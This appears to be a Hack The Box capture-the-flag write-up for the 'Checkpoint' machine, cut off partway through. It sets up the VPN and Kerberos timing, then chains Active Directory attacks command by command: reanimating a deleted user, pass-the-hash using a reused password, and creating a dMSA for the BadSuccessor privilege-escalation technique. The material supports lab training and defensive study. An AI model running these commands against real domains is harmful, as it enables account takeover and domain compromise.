Hack The Box - HTB Checkpoint Writeup - Medium - Weekly - June 13th, 2026
- HTB: Checkpoint — Detailed Writeup (redacted, command-by-command)
- Target:
<target-ip>(DC01) · Attacker:<attacker-ip>(tun0)
0. Environment setup — two gotchas that will waste hours if missed
Before any of the attack works reliably, two environmental issues must be fixed. These are not part of the "intended" path but are real over the HTB VPN against a Server 2025 DC.
0.1 The VPN path‑MTU black hole
Symptom: small requests (auth, LDAP queries, getting a TGT) succeed, but anything that produces a large request silently hangs forever — specifically the dMSA Kerberos TGS‑REQ (~1.6 KB) and the 2 GB SMB file read. The kerbad tool dies with a misleading Python error: encoded_data must be a byte string, not NoneType.
Root cause: the tun0 VPN interface defaults to MTU 1500, but the actual end‑to‑end path MTU to the box is ~1300 bytes. Any IP packet larger than ~1300 is dropped without an ICMP "fragmentation needed" message (a "black hole"). TCP keeps retransmitting the oversized segment and never gets through.
Diagnose (watch a hung Kerberos request on the wire):
sudo tcpdump -i tun0 -n 'port 88'
-i tun0— capture on the VPN interface.-n— don't resolve names (faster, clearer).'port 88'— Kerberos. In the capture you'll see your host retransmit the same large segment repeatedly while the DC sends an ACK that selectively acknowledges only the small trailing segment (a SACK block) and never advances the cumulative ACK — proof the big segment never arrived.
Confirm the cap with ping (DF = "don't fragment", so an oversized packet is dropped rather than fragmented):
ping -M do -s 1272 <target-ip> # 1272 payload + 28 hdr = 1300-byte packet -> OK
ping -M do -s 1322 <target-ip> # 1322 payload + 28 hdr = 1350-byte packet -> FAILS
-M do— set the Don't‑Fragment bit.-s N— ICMP payload size; the on‑wire IP packet isN + 28bytes. The largest-sthat succeeds + 28 ≈ the path MTU.
Fix — lower the interface MTU so TCP negotiates a smaller MSS and never emits an oversized segment:
sudo ip link set dev tun0 mtu 1300
After this, the dMSA Kerberos exchange and the big SMB transfer work normally. (Re-apply after every VPN reconnect.)
0.2 Clock skew + AES‑only Kerberos
Clock skew: Kerberos rejects timestamps more than ~5 minutes off. This DC's clock runs ~1 day ahead, so every Kerberos tool must think it is the DC's time. Read the DC time over SMB and feed it to faketime:
DCT=$(nmap --script smb2-time -p445 <target-ip> -oN - | awk -F'date: ' '/\| *date:/ {print $2}' | sed 's/T/ /' | head -1)
nmap --script smb2-time -p445 <target-ip>— thesmb2-timeNSE script asks the SMB2 server for its current time (no auth needed).-oN -— write normal output to stdout so we can parse it.awk -F'date: ' '/\| *date:/ {print $2}'— grab the value afterdate:(avoids thestart_date:line).sed 's/T/ /'— turn the ISO2026-06-15T18:02:11into2026-06-15 18:02:11(the format faketime wants).head -1— first match only. Result stored in$DCT.
Then prefix Kerberos commands with:
TZ=UTC faketime "$DCT" <command>
TZ=UTC— interpret$DCTas UTC (the DC reports UTC), avoiding local‑timezone double‑offset.faketime "$DCT" <cmd>— runs<cmd>with the system clock spoofed to$DCTvia anLD_PRELOADshim; only that process is affected.
AES‑only domain: RC4 Kerberos is disabled. Requesting an RC4 ticket fails with KDC_ERR_ETYPE_NOSUPP, so always authenticate with the password (yields AES). The dMSA "previous keys" still contain the RC4/NT‑hash bytes regardless — that's what we ultimately extract.
Name resolution — add the DC to /etc/hosts so Kerberos SPNs/realm resolve:
echo "<target-ip> checkpoint.htb dc01.checkpoint.htb DC01.CHECKPOINT.HTB dc01" | sudo tee -a /etc/hosts
1. Foothold enumeration (alex.turner)
We're given alex.turner : <provided-password>. First confirm it and map what alex can write.
nxc smb <target-ip> -d checkpoint.htb -u alex.turner -p '<provided-password>'
nxc smb— NetExec, SMB protocol module.-d checkpoint.htb— domain.-u/-p— username / password.- A
[+] checkpoint.htb\alex.turner:<password>line means the credential is valid. The banner also confirms host=DC01, Build 26100 = Server 2025.
bloodyAD --host <target-ip> --dns <target-ip> -d checkpoint.htb \
-u alex.turner -p '<provided-password>' get writable
bloodyAD— an AD manipulation tool that talks LDAP.--host— the DC to bind to.--dns <target-ip>— use the DC for DNS (needed because we resolve AD names through it).get writable— enumerates every object/attribute the current user can write. This is the key recon step.
What it reveals for alex (the rights we'll chain):
- Reanimate‑Tombstones on the domain → can restore deleted objects.
- CREATE_CHILD for
msDS-DelegatedManagedServiceAccountonOU=Employees→ can create dMSA objects (needed for BadSuccessor). - WRITE over the tombstoned Mark Davies object in
CN=Deleted Objects.
2. Restore the deleted user mark.davies
alex's Reanimate‑Tombstones right lets us bring a deleted account back to life.
bloodyAD --host <target-ip> --dns <target-ip> -d checkpoint.htb \
-u alex.turner -p '<provided-password>' set restore mark.davies
set restore mark.davies— find the tombstone formark.daviesand reanimate it.- Success:
[+] mark.davies has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb. - (If restore‑by‑name fails, you can restore by SID/RID: derive the domain SID from alex's
objectSidandset restore <domain-sid>-1102.)
Shortcut: mark.davies reuses alex's password, so mark's NT hash is just the NT hash of <provided-password> (compute locally with MD4 of the UTF‑16LE password). Authenticate with the hash (Pass‑the‑Hash) and enumerate shares:
nxc smb <target-ip> -d checkpoint.htb -u mark.davies -H <mark-nt-hash> --shares
-H <mark-nt-hash>— authenticate with the NT hash instead of-p(Pass‑the‑Hash).--shares— list shares and our access.- Result:
DevDrop READ,WRITE(a VS Code extension drop share) andVMBackups(visible but no access yet). DevDrop is our exec primitive.
The "proper" route recovers mark's hash via dMSA too (it shows up as a dMSA previous key), but password reuse makes that unnecessary here.
3. Create the svc_deploy dMSA (as alex) — set up BadSuccessor
BadSuccessor abuses dMSA "migration": if a dMSA is marked as the successor of a target account, the KDC will hand the dMSA the target's keys (so the migrated service keeps working). We create a dMSA that supersedes svc_deploy. alex can create the dMSA object; the matching attributes on svc_deploy itself are written later by ryan (step 4), who holds the write right.
bloodyAD --host <target-ip> --dns <target-ip> -d checkpoint.htb -u alex.turner -p '<provided-password>' \
add badSuccessor '<svc-dmsa>' \
-t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb' \
--ou 'OU=Employees,DC=checkpoint,DC=htb' --prepatch
add badSuccessor '<svc-dmsa>'— bloodyAD's BadSuccessor helper; creates a dMSA named<svc-dmsa>.-t 'CN=svc_deploy,...'— the target we want to impersonate/inherit (svc_deploy).--ou 'OU=Employees,...'— where to create the dMSA (alex has CREATE_CHILD here).--prepatch— only create the dMSA object; do not attempt to write themsDS-Superseded*attributes on the target. We need that split because alex cannot write svc_deploy — ryan will, in step 4.- Expected:
[+] Creating DMSA <svc-dmsa>$ ...then a Python traceback (Cannot mix str and non-str arguments) when bloodyAD tries to build the kerbad URL. This crash is harmless — the LDAP object was already created before it.
Verify the object exists and is configured:
nxc ldap <target-ip> -d checkpoint.htb -u alex.turner -p '<provided-password>' \
--query '(sAMAccountName=<svc-dmsa>$)' 'distinguishedName msDS-ManagedAccountPrecededByLink'
nxc ldap ... --query '<filter>' '<attrs>'— run an LDAP search.(sAMAccountName=<svc-dmsa>$)— find our dMSA (machine‑style account, note the trailing$).- You should see
msDS-ManagedAccountPrecededByLink = CN=svc_deploy,..., i.e. the dMSA points at svc_deploy. (It also getsmsDS-DelegatedMSAState=2and anmsDS-GroupMSAMembershipgranting alex the right to read its managed password.)